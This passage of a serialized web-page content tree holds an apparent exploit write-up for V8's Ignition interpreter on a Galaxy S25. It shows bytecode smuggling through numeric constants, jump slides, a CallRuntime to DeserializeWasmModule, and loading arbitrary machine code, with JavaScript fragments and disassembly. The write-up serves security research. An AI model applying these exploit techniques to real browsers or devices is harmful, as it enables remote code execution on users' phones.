0,"tag":315,"props":130730,"children":130731},{"style":765},[130732],{"type":26,"value":130705},{"type":20,"tag":315,"props":130734,"children":130735},{"style":328},[130736],{"type":26,"value":1405},{"type":20,"tag":315,"props":130738,"children":130739},{"class":317,"line":365},[130740,130744,130748,130752,130756,130760],{"type":20,"tag":315,"props":130741,"children":130742},{"style":541},[130743],{"type":26,"value":10188},{"type":20,"tag":315,"props":130745,"children":130746},{"style":635},[130747],{"type":26,"value":35861},{"type":20,"tag":315,"props":130749,"children":130750},{"style":334},[130751],{"type":26,"value":1395},{"type":20,"tag":315,"props":130753,"children":130754},{"style":334},[130755],{"type":26,"value":49507},{"type":20,"tag":315,"props":130757,"children":130758},{"style":765},[130759],{"type":26,"value":130705},{"type":20,"tag":315,"props":130761,"children":130762},{"style":328},[130763],{"type":26,"value":1405},{"type":20,"tag":315,"props":130765,"children":130766},{"class":317,"line":374},[130767,130771,130775,130779,130783,130787],{"type":20,"tag":315,"props":130768,"children":130769},{"style":541},[130770],{"type":26,"value":10188},{"type":20,"tag":315,"props":130772,"children":130773},{"style":635},[130774],{"type":26,"value":130473},{"type":20,"tag":315,"props":130776,"children":130777},{"style":334},[130778],{"type":26,"value":1395},{"type":20,"tag":315,"props":130780,"children":130781},{"style":334},[130782],{"type":26,"value":49507},{"type":20,"tag":315,"props":130784,"children":130785},{"style":765},[130786],{"type":26,"value":130705},{"type":20,"tag":315,"props":130788,"children":130789},{"style":328},[130790],{"type":26,"value":1405},{"type":20,"tag":29,"props":130792,"children":130793},{},[130794],{"type":26,"value":130795},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":20,"tag":29,"props":130797,"children":130798},{},[130799],{"type":26,"value":130800},"We'll use a similar principle here, although much more limited. With",{"type":20,"tag":305,"props":130802,"children":130804},{"code":130803},"let a = 0x0693bebe;\n",[130805],{"type":20,"tag":119,"props":130806,"children":130807},{"__ignoreMap":7},[130808],{"type":26,"value":130803},{"type":20,"tag":29,"props":130810,"children":130811},{},[130812],{"type":26,"value":130813},"We will compile the bytecode:",{"type":20,"tag":305,"props":130815,"children":130817},{"code":130816},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[130818],{"type":20,"tag":119,"props":130819,"children":130820},{"__ignoreMap":7},[130821],{"type":26,"value":130816},{"type":20,"tag":29,"props":130823,"children":130824},{},[130825,130827,130833,130835,130841,130842,130848],{"type":26,"value":130826},"We can then jump to the 3rd byte (",{"type":20,"tag":119,"props":130828,"children":130830},{"className":130829},[],[130831],{"type":26,"value":130832},"0xbe",{"type":26,"value":130834},"), and gain 2 controlled bytes of execution, followed by ",{"type":20,"tag":119,"props":130836,"children":130838},{"className":130837},[],[130839],{"type":26,"value":130840},"0x93 0x02 - 0xf",{"type":26,"value":463},{"type":20,"tag":119,"props":130843,"children":130845},{"className":130844},[],[130846],{"type":26,"value":130847},"Jump +[2-15]",{"type":26,"value":130849},") to jump into the next constant.",{"type":20,"tag":29,"props":130851,"children":130852},{},[130853,130855,130861,130863,130869,130871,130877],{"type":26,"value":130854},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":20,"tag":119,"props":130856,"children":130858},{"className":130857},[],[130859],{"type":26,"value":130860},"StarX",{"type":26,"value":130862}," instructions, registers 16-121 resulted in two bytes ",{"type":20,"tag":119,"props":130864,"children":130866},{"className":130865},[],[130867],{"type":26,"value":130868},"Star rX",{"type":26,"value":130870}," instructions, and the next batch resulted in 4 byte ",{"type":20,"tag":119,"props":130872,"children":130874},{"className":130873},[],[130875],{"type":26,"value":130876},"Star.ExtraWide rX",{"type":26,"value":130878}," instructions.",{"type":20,"tag":29,"props":130880,"children":130881},{},[130882,130884,130890],{"type":26,"value":130883},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":20,"tag":119,"props":130885,"children":130887},{"className":130886},[],[130888],{"type":26,"value":130889},"0x8931111",{"type":26,"value":2884},{"type":20,"tag":305,"props":130892,"children":130894},{"code":130893,"language":29781,"meta":7,"className":29779,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[130895],{"type":20,"tag":119,"props":130896,"children":130897},{"__ignoreMap":7},[130898,130923,130947,130971,130995,131019,131043],{"type":20,"tag":315,"props":130899,"children":130900},{"class":317,"line":318},[130901,130905,130910,130914,130919],{"type":20,"tag":315,"props":130902,"children":130903},{"style":541},[130904],{"type":26,"value":10188},{"type":20,"tag":315,"props":130906,"children":130907},{"style":635},[130908],{"type":26,"value":130909}," a206",{"type":20,"tag":315,"props":130911,"children":130912},{"style":334},[130913],{"type":26,"value":1395},{"type":20,"tag":315,"props":130915,"children":130916},{"style":765},[130917],{"type":26,"value":130918}," 0x8931111",{"type":20,"tag":315,"props":130920,"children":130921},{"style":328},[130922],{"type":26,"value":1405},{"type":20,"tag":315,"props":130924,"children":130925},{"class":317,"line":356},[130926,130930,130935,130939,130943],{"type":20,"tag":315,"props":130927,"children":130928},{"style":541},[130929],{"type":26,"value":10188},{"type":20,"tag":315,"props":130931,"children":130932},{"style":635},[130933],{"type":26,"value":130934}," a207",{"type":20,"tag":315,"props":130936,"children":130937},{"style":334},[130938],{"type":26,"value":1395},{"type":20,"tag":315,"props":130940,"children":130941},{"style":765},[130942],{"type":26,"value":130918},{"type":20,"tag":315,"props":130944,"children":130945},{"style":328},[130946],{"type":26,"value":1405},{"type":20,"tag":315,"props":130948,"children":130949},{"class":317,"line":365},[130950,130954,130959,130963,130967],{"type":20,"tag":315,"props":130951,"children":130952},{"style":541},[130953],{"type":26,"value":10188},{"type":20,"tag":315,"props":130955,"children":130956},{"style":635},[130957],{"type":26,"value":130958}," a208",{"type":20,"tag":315,"props":130960,"children":130961},{"style":334},[130962],{"type":26,"value":1395},{"type":20,"tag":315,"props":130964,"children":130965},{"style":765},[130966],{"type":26,"value":130918},{"type":20,"tag":315,"props":130968,"children":130969},{"style":328},[130970],{"type":26,"value":1405},{"type":20,"tag":315,"props":130972,"children":130973},{"class":317,"line":374},[130974,130978,130983,130987,130991],{"type":20,"tag":315,"props":130975,"children":130976},{"style":541},[130977],{"type":26,"value":10188},{"type":20,"tag":315,"props":130979,"children":130980},{"style":635},[130981],{"type":26,"value":130982}," a209",{"type":20,"tag":315,"props":130984,"children":130985},{"style":334},[130986],{"type":26,"value":1395},{"type":20,"tag":315,"props":130988,"children":130989},{"style":765},[130990],{"type":26,"value":130918},{"type":20,"tag":315,"props":130992,"children":130993},{"style":328},[130994],{"type":26,"value":1405},{"type":20,"tag":315,"props":130996,"children":130997},{"class":317,"line":383},[130998,131002,131007,131011,131015],{"type":20,"tag":315,"props":130999,"children":131000},{"style":541},[131001],{"type":26,"value":10188},{"type":20,"tag":315,"props":131003,"children":131004},{"style":635},[131005],{"type":26,"value":131006}," a210",{"type":20,"tag":315,"props":131008,"children":131009},{"style":334},[131010],{"type":26,"value":1395},{"type":20,"tag":315,"props":131012,"children":131013},{"style":765},[131014],{"type":26,"value":130918},{"type":20,"tag":315,"props":131016,"children":131017},{"style":328},[131018],{"type":26,"value":1405},{"type":20,"tag":315,"props":131020,"children":131021},{"class":317,"line":407},[131022,131026,131031,131035,131039],{"type":20,"tag":315,"props":131023,"children":131024},{"style":541},[131025],{"type":26,"value":10188},{"type":20,"tag":315,"props":131027,"children":131028},{"style":635},[131029],{"type":26,"value":131030}," a211",{"type":20,"tag":315,"props":131032,"children":131033},{"style":334},[131034],{"type":26,"value":1395},{"type":20,"tag":315,"props":131036,"children":131037},{"style":765},[131038],{"type":26,"value":130918},{"type":20,"tag":315,"props":131040,"children":131041},{"style":328},[131042],{"type":26,"value":1405},{"type":20,"tag":315,"props":131044,"children":131045},{"class":317,"line":421},[131046,131050,131055,131059,131063],{"type":20,"tag":315,"props":131047,"children":131048},{"style":541},[131049],{"type":26,"value":10188},{"type":20,"tag":315,"props":131051,"children":131052},{"style":635},[131053],{"type":26,"value":131054}," a212",{"type":20,"tag":315,"props":131056,"children":131057},{"style":334},[131058],{"type":26,"value":1395},{"type":20,"tag":315,"props":131060,"children":131061},{"style":765},[131062],{"type":26,"value":130918},{"type":20,"tag":315,"props":131064,"children":131065},{"style":328},[131066],{"type":26,"value":1405},{"type":20,"tag":29,"props":131068,"children":131069},{},[131070],{"type":26,"value":131071},"Those instructions result in:",{"type":20,"tag":305,"props":131073,"children":131075},{"code":131074},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[131076],{"type":20,"tag":119,"props":131077,"children":131078},{"__ignoreMap":7},[131079],{"type":26,"value":131074},{"type":20,"tag":29,"props":131081,"children":131082},{},[131083,131085,131091,131093,131097],{"type":26,"value":131084},"(The offset of ",{"type":20,"tag":119,"props":131086,"children":131088},{"className":131087},[],[131089],{"type":26,"value":131090},"Jump",{"type":26,"value":131092}," instructions is added to the ",{"type":20,"tag":55,"props":131094,"children":131095},{},[131096],{"type":26,"value":69347},{"type":26,"value":131098}," of the instruction.)",{"type":20,"tag":29,"props":131100,"children":131101},{},[131102,131104,131110],{"type":26,"value":131103},"Now, 3 out of the 6 bytes in a ",{"type":20,"tag":119,"props":131105,"children":131107},{"className":131106},[],[131108],{"type":26,"value":131109},"LdaSmi.ExtraWide",{"type":26,"value":131111}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":20,"tag":219,"props":131113,"children":131115},{"id":131114},"exploit-goal",[131116],{"type":26,"value":131117},"Exploit Goal",{"type":20,"tag":29,"props":131119,"children":131120},{},[131121,131123,131129,131130,131136],{"type":26,"value":131122},"Initially we considered using ",{"type":20,"tag":119,"props":131124,"children":131126},{"className":131125},[],[131127],{"type":26,"value":131128},"Star",{"type":26,"value":786},{"type":20,"tag":119,"props":131131,"children":131133},{"className":131132},[],[131134],{"type":26,"value":131135},"Ldar",{"type":26,"value":131137}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":20,"tag":29,"props":131139,"children":131140},{},[131141,131143,131150],{"type":26,"value":131142},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":20,"tag":35,"props":131144,"children":131147},{"href":131145,"rel":131146},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[39],[131148],{"type":26,"value":131149},"stack pivot and ROP",{"type":26,"value":131151},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":20,"tag":29,"props":131153,"children":131154},{},[131155],{"type":26,"value":131156},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":20,"tag":29,"props":131158,"children":131159},{},[131160],{"type":26,"value":131161},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":20,"tag":29,"props":131163,"children":131164},{},[131165,131167,131173,131175,131181,131183,131189],{"type":26,"value":131166},"At this point, we identified an interesting opcode: ",{"type":20,"tag":119,"props":131168,"children":131170},{"className":131169},[],[131171],{"type":26,"value":131172},"CallRuntime",{"type":26,"value":131174},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":20,"tag":119,"props":131176,"children":131178},{"className":131177},[],[131179],{"type":26,"value":131180},"--allow-natives-syntax",{"type":26,"value":131182}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":20,"tag":119,"props":131184,"children":131186},{"className":131185},[],[131187],{"type":26,"value":131188},"DeserializeWasmModule",{"type":26,"value":61},{"type":20,"tag":29,"props":131191,"children":131192},{},[131193,131195,131202,131203,131208,131209,131215,131217,131224],{"type":26,"value":131194},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":20,"tag":35,"props":131196,"children":131199},{"href":131197,"rel":131198},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[39],[131200],{"type":26,"value":131201},"JIT-compiled functions",{"type":26,"value":16935},{"type":20,"tag":119,"props":131204,"children":131206},{"className":131205},[],[131207],{"type":26,"value":131188},{"type":26,"value":786},{"type":20,"tag":119,"props":131210,"children":131212},{"className":131211},[],[131213],{"type":26,"value":131214},"SerializeWasmModule",{"type":26,"value":131216}," themselves are only used from test functions, and indeed have been ",{"type":20,"tag":35,"props":131218,"children":131221},{"href":131219,"rel":131220},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[39],[131222],{"type":26,"value":131223},"removed",{"type":26,"value":131225}," from recent production V8 builds due to how abusable this functionality is.",{"type":20,"tag":29,"props":131227,"children":131228},{},[131229,131231,131237,131239,131245,131247,131252,131254,131260,131262,131267,131268,131273,131274,131279,131281,131287,131289,131293],{"type":26,"value":131230},"However, calling this opcode represented a significant challenge:\n",{"type":20,"tag":119,"props":131232,"children":131234},{"className":131233},[],[131235],{"type":26,"value":131236},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":26,"value":131238},"\nWhere ",{"type":20,"tag":119,"props":131240,"children":131242},{"className":131241},[],[131243],{"type":26,"value":131244},"func-id",{"type":26,"value":131246}," is a 2-byte function ID, ",{"type":20,"tag":119,"props":131248,"children":131250},{"className":131249},[],[131251],{"type":26,"value":36644},{"type":26,"value":131253}," is the index of the last register passed and ",{"type":20,"tag":119,"props":131255,"children":131257},{"className":131256},[],[131258],{"type":26,"value":131259},"argc",{"type":26,"value":131261}," is the number of arguments passed (e.g. passing ",{"type":20,"tag":119,"props":131263,"children":131265},{"className":131264},[],[131266],{"type":26,"value":42802},{"type":26,"value":44},{"type":20,"tag":119,"props":131269,"children":131271},{"className":131270},[],[131272],{"type":26,"value":42945},{"type":26,"value":9392},{"type":20,"tag":119,"props":131275,"children":131277},{"className":131276},[],[131278],{"type":26,"value":42928},{"type":26,"value":131280}," would be encoded as ",{"type":20,"tag":119,"props":131282,"children":131284},{"className":131283},[],[131285],{"type":26,"value":131286},"\u003Cr2> \u003C3>",{"type":26,"value":131288},").\nThis requires ",{"type":20,"tag":55,"props":131290,"children":131291},{},[131292],{"type":26,"value":16511},{"type":26,"value":131294}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":20,"tag":219,"props":131296,"children":131298},{"id":131297},"better-bytecode-control",[131299],{"type":26,"value":131300},"Better Bytecode Control",{"type":20,"tag":29,"props":131302,"children":131303},{},[131304,131306,131313,131315,131321],{"type":26,"value":131305},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":20,"tag":35,"props":131307,"children":131310},{"href":131308,"rel":131309},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[39],[131311],{"type":26,"value":131312},"feedback vector slot",{"type":26,"value":131314},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":20,"tag":119,"props":131316,"children":131318},{"className":131317},[],[131319],{"type":26,"value":131320},"AddSmi",{"type":26,"value":131322}," instruction, it represents the number of operations performed on the target value so far.",{"type":20,"tag":29,"props":131324,"children":131325},{},[131326],{"type":26,"value":131327},"For example, we can look at the below Ignition disassembly:",{"type":20,"tag":305,"props":131329,"children":131331},{"code":131330},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[131332],{"type":20,"tag":119,"props":131333,"children":131334},{"__ignoreMap":7},[131335],{"type":26,"value":131330},{"type":20,"tag":29,"props":131337,"children":131338},{},[131339,131341,131347],{"type":26,"value":131340},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":20,"tag":119,"props":131342,"children":131344},{"className":131343},[],[131345],{"type":26,"value":131346},"AddSmi.ExtraWide",{"type":26,"value":131348},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":20,"tag":29,"props":131350,"children":131351},{},[131352],{"type":26,"value":131353},"Eventually, we can reach a stage like this:",{"type":20,"tag":305,"props":131355,"children":131357},{"code":131356},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[131358],{"type":20,"tag":119,"props":131359,"children":131360},{"__ignoreMap":7},[131361],{"type":26,"value":131356},{"type":20,"tag":29,"props":131363,"children":131364},{},[131365],{"type":26,"value":131366},"If you skip the first two bytes, you have",{"type":20,"tag":15089,"props":131368,"children":131369},{},[131370,131401],{"type":20,"tag":72,"props":131371,"children":131372},{},[131373,131378,131380,131385,131387,131393,131395],{"type":20,"tag":119,"props":131374,"children":131376},{"className":131375},[],[131377],{"type":26,"value":131172},{"type":26,"value":131379}," (0x6c) to ",{"type":20,"tag":119,"props":131381,"children":131383},{"className":131382},[],[131384],{"type":26,"value":131188},{"type":26,"value":131386}," (0x0266) starting from register ",{"type":20,"tag":119,"props":131388,"children":131390},{"className":131389},[],[131391],{"type":26,"value":131392},"a2",{"type":26,"value":131394}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":20,"tag":119,"props":131396,"children":131398},{"className":131397},[],[131399],{"type":26,"value":131400},"DeserializeWasmModule(a2, a1)",{"type":20,"tag":72,"props":131402,"children":131403},{},[131404],{"type":26,"value":131405},"a Jump instruction",{"type":20,"tag":219,"props":131407,"children":131409},{"id":131408},"returning-back-to-js",[131410],{"type":26,"value":131411},"Returning Back to JS",{"type":20,"tag":29,"props":131413,"children":131414},{},[131415,131417,131423],{"type":26,"value":131416},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":20,"tag":119,"props":131418,"children":131420},{"className":131419},[],[131421],{"type":26,"value":131422},"yield",{"type":26,"value":131424}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":20,"tag":29,"props":131426,"children":131427},{},[131428],{"type":26,"value":131429},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":20,"tag":305,"props":131431,"children":131433},{"code":131432,"language":29781,"meta":7,"className":29779,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[131434],{"type":20,"tag":119,"props":131435,"children":131436},{"__ignoreMap":7},[131437,131448,131496,131517,131533,131556,131584,131601],{"type":20,"tag":315,"props":131438,"children":131439},{"class":317,"line":318},[131440,131444],{"type":20,"tag":315,"props":131441,"children":131442},{"style":525},[131443],{"type":26,"value":46582},{"type":20,"tag":315,"props":131445,"children":131446},{"style":328},[131447],{"type":26,"value":1092},{"type":20,"tag":315,"props":131449,"children":131450},{"class":317,"line":356},[131451,131456,131460,131465,131469,131474,131478,131483,131487,131491],{"type":20,"tag":315,"props":131452,"children":131453},{"style":635},[131454],{"type":26,"value":131455}," $",{"type":20,"tag":315,"props":131457,"children":131458},{"style":328},[131459],{"type":26,"value":74876},{"type":20,"tag":315,"props":131461,"children":131462},{"style":2652},[131463],{"type":26,"value":131464},"'a1 + 0xa931111;'",{"type":20,"tag":315,"props":131466,"children":131467},{"style":328},[131468],{"type":26,"value":61},{"type":20,"tag":315,"props":131470,"children":131471},{"style":345},[131472],{"type":26,"value":131473},"repeat",{"type":20,"tag":315,"props":131475,"children":131476},{"style":328},[131477],{"type":26,"value":1049},{"type":20,"tag":315,"props":131479,"children":131480},{"style":765},[131481],{"type":26,"value":131482},"0x059302",{"type":20,"tag":315,"props":131484,"children":131485},{"style":334},[131486],{"type":26,"value":49507},{"type":20,"tag":315,"props":131488,"children":131489},{"style":765},[131490],{"type":26,"value":2916},{"type":20,"tag":315,"props":131492,"children":131493},{"style":328},[131494],{"type":26,"value":131495},")}\n",{"type":20,"tag":315,"props":131497,"children":131498},{"class":317,"line":365},[131499,131504,131508,131513],{"type":20,"tag":315,"props":131500,"children":131501},{"style":635},[131502],{"type":26,"value":131503}," a1",{"type":20,"tag":315,"props":131505,"children":131506},{"style":334},[131507],{"type":26,"value":7301},{"type":20,"tag":315,"props":131509,"children":131510},{"style":765},[131511],{"type":26,"value":131512}," 0x0402666c",{"type":20,"tag":315,"props":131514,"children":131515},{"style":328},[131516],{"type":26,"value":1405},{"type":20,"tag":315,"props":131518,"children":131519},{"class":317,"line":374},[131520,131524,131529],{"type":20,"tag":315,"props":131521,"children":131522},{"style":525},[131523],{"type":26,"value":33617},{"type":20,"tag":315,"props":131525,"children":131526},{"style":765},[131527],{"type":26,"value":131528}," 0x393e91a",{"type":20,"tag":315,"props":131530,"children":131531},{"style":328},[131532],{"type":26,"value":1405},{"type":20,"tag":315,"props":131534,"children":131535},{"class":317,"line":383},[131536,131540,131544,131548,131552],{"type":20,"tag":315,"props":131537,"children":131538},{"style":328},[131539],{"type":26,"value":1082},{"type":20,"tag":315,"props":131541,"children":131542},{"style":525},[131543],{"type":26,"value":46662},{"type":20,"tag":315,"props":131545,"children":131546},{"style":328},[131547],{"type":26,"value":463},{"type":20,"tag":315,"props":131549,"children":131550},{"style":635},[131551],{"type":26,"value":49706},{"type":20,"tag":315,"props":131553,"children":131554},{"style":328},[131555],{"type":26,"value":549},{"type":20,"tag":315,"props":131557,"children":131558},{"class":317,"line":407},[131559,131563,131567,131571,131575,131580],{"type":20,"tag":315,"props":131560,"children":131561},{"style":635},[131562],{"type":26,"value":100202},{"type":20,"tag":315,"props":131564,"children":131565},{"style":328},[131566],{"type":26,"value":61},{"type":20,"tag":315,"props":131568,"children":131569},{"style":345},[131570],{"type":26,"value":100211},{"type":20,"tag":315,"props":131572,"children":131573},{"style":328},[131574],{"type":26,"value":1049},{"type":20,"tag":315,"props":131576,"children":131577},{"style":2652},[131578],{"type":26,"value":131579},"\"foo\"",{"type":20,"tag":315,"props":131581,"children":131582},{"style":328},[131583],{"type":26,"value":2214},{"type":20,"tag":315,"props":131585,"children":131586},{"class":317,"line":421},[131587,131592,131597],{"type":20,"tag":315,"props":131588,"children":131589},{"style":525},[131590],{"type":26,"value":131591}," yield",{"type":20,"tag":315,"props":131593,"children":131594},{"style":635},[131595],{"type":26,"value":131596}," a16",{"type":20,"tag":315,"props":131598,"children":131599},{"style":328},[131600],{"type":26,"value":1405},{"type":20,"tag":315,"props":131602,"children":131603},{"class":317,"line":430},[131604],{"type":20,"tag":315,"props":131605,"children":131606},{"style":328},[131607],{"type":26,"value":577},{"type":20,"tag":29,"props":131609,"children":131610},{},[131611,131613],{"type":26,"value":131612},"Starting from the final ",{"type":20,"tag":119,"props":131614,"children":131616},{"className":131615},[],[131617],{"type":26,"value":131320},{"type":20,"tag":305,"props":131619,"children":131621},{"code":131620}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[131622],{"type":20,"tag":119,"props":131623,"children":131624},{"__ignoreMap":7},[131625],{"type":26,"value":131620},{"type":20,"tag":29,"props":131627,"children":131628},{},[131629,131631,131636,131638,131644],{"type":26,"value":131630},"The smuggled jump in ",{"type":20,"tag":119,"props":131632,"children":131634},{"className":131633},[],[131635],{"type":26,"value":131320},{"type":26,"value":131637}," will redirect us to ",{"type":20,"tag":119,"props":131639,"children":131641},{"className":131640},[],[131642],{"type":26,"value":131643},"1a e9 93 03",{"type":26,"value":131645},", which results in:",{"type":20,"tag":15089,"props":131647,"children":131648},{},[131649,131660],{"type":20,"tag":72,"props":131650,"children":131651},{},[131652,131658],{"type":20,"tag":119,"props":131653,"children":131655},{"className":131654},[],[131656],{"type":26,"value":131657},"Star r16",{"type":26,"value":131659}," (store accumulator to r16)",{"type":20,"tag":72,"props":131661,"children":131662},{},[131663,131668],{"type":20,"tag":119,"props":131664,"children":131666},{"className":131665},[],[131667],{"type":26,"value":131090},{"type":26,"value":131669}," past the throw into the catch relevant code",{"type":20,"tag":29,"props":131671,"children":131672},{},[131673,131675,131681],{"type":26,"value":131674},"This will bring us nicely to the final ",{"type":20,"tag":119,"props":131676,"children":131678},{"className":131677},[],[131679],{"type":26,"value":131680},"yield a16",{"type":26,"value":131682},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":20,"tag":219,"props":131684,"children":131686},{"id":131685},"executing-shellcode",[131687],{"type":26,"value":131688},"Executing Shellcode",{"type":20,"tag":29,"props":131690,"children":131691},{},[131692],{"type":26,"value":131693},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":20,"tag":305,"props":131695,"children":131697},{"code":131696,"language":34031,"meta":7,"className":34029,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[131698],{"type":20,"tag":119,"props":131699,"children":131700},{"__ignoreMap":7},[131701,131731,131958,132026,132033,132078,132124,132164,132171,132195,132232,132268],{"type":20,"tag":315,"props":131702,"children":131703},{"class":317,"line":318},[131704,131708,131713,131717,131721,131726],{"type":20,"tag":315,"props":131705,"children":131706},{"style":541},[131707],{"type":26,"value":33462},{"type":20,"tag":315,"props":131709,"children":131710},{"style":635},[131711],{"type":26,"value":131712}," wasm_code",{"type":20,"tag":315,"props":131714,"children":131715},{"style":334},[131716],{"type":26,"value":1395},{"type":20,"tag":315,"props":131718,"children":131719},{"style":541},[131720],{"type":26,"value":30348},{"type":20,"tag":315,"props":131722,"children":131723},{"style":345},[131724],{"type":26,"value":131725}," Uint8Array",{"type":20,"tag":315,"props":131727,"children":131728},{"style":328},[131729],{"type":26,"value":131730},"([\n",{"type":20,"tag":315,"props":131732,"children":131733},{"class":317,"line":356},[131734,131739,131743,131748,131752,131757,131761,131766,131770,131774,131778,131782,131786,131790,131794,131798,131802,131806,131810,131814,131818,131822,131826,131831,131835,131839,131843,131847,131851,131855,131859,131863,131867,131871,131875,131879,131883,131887,131891,131895,131899,131903,131907,131911,131915,131919,131923,131928,131932,131937,131941,131946,131950,131954],{"type":20,"tag":315,"props":131735,"children":131736},{"style":765},[131737],{"type":26,"value":131738}," 0",{"type":20,"tag":315,"props":131740,"children":131741},{"style":328},[131742],{"type":26,"value":44},{"type":20,"tag":315,"props":131744,"children":131745},{"style":765},[131746],{"type":26,"value":131747},"97",{"type":20,"tag":315,"props":131749,"children":131750},{"style":328},[131751],{"type":26,"value":44},{"type":20,"tag":315,"props":131753,"children":131754},{"style":765},[131755],{"type":26,"value":131756},"115",{"type":20,"tag":315,"props":131758,"children":131759},{"style":328},[131760],{"type":26,"value":44},{"type":20,"tag":315,"props":131762,"children":131763},{"style":765},[131764],{"type":26,"value":131765},"109",{"type":20,"tag":315,"props":131767,"children":131768},{"style":328},[131769],{"type":26,"value":44},{"type":20,"tag":315,"props":131771,"children":131772},{"style":765},[131773],{"type":26,"value":2406},{"type":20,"tag":315,"props":131775,"children":131776},{"style":328},[131777],{"type":26,"value":44},{"type":20,"tag":315,"props":131779,"children":131780},{"style":765},[131781],{"type":26,"value":1063},{"type":20,"tag":315,"props":131783,"children":131784},{"style":328},[131785],{"type":26,"value":44},{"type":20,"tag":315,"props":131787,"children":131788},{"style":765},[131789],{"type":26,"value":1063},{"type":20,"tag":315,"props":131791,"children":131792},{"style":328},[131793],{"type":26,"value":44},{"type":20,"tag":315,"props":131795,"children":131796},{"style":765},[131797],{"type":26,"value":1063},{"type":20,"tag":315,"props":131799,"children":131800},{"style":328},[131801],{"type":26,"value":44},{"type":20,"tag":315,"props":131803,"children":131804},{"style":765},[131805],{"type":26,"value":2406},{"type":20,"tag":315,"props":131807,"children":131808},{"style":328},[131809],{"type":26,"value":44},{"type":20,"tag":315,"props":131811,"children":131812},{"style":765},[131813],{"type":26,"value":15931},{"type":20,"tag":315,"props":131815,"children":131816},{"style":328},[131817],{"type":26,"value":44},{"type":20,"tag":315,"props":131819,"children":131820},{"style":765},[131821],{"type":26,"value":2406},{"type":20,"tag":315,"props":131823,"children":131824},{"style":328},[131825],{"type":26,"value":44},{"type":20,"tag":315,"props":131827,"children":131828},{"style":765},[131829],{"type":26,"value":131830},"96",{"type":20,"tag":315,"props":131832,"children":131833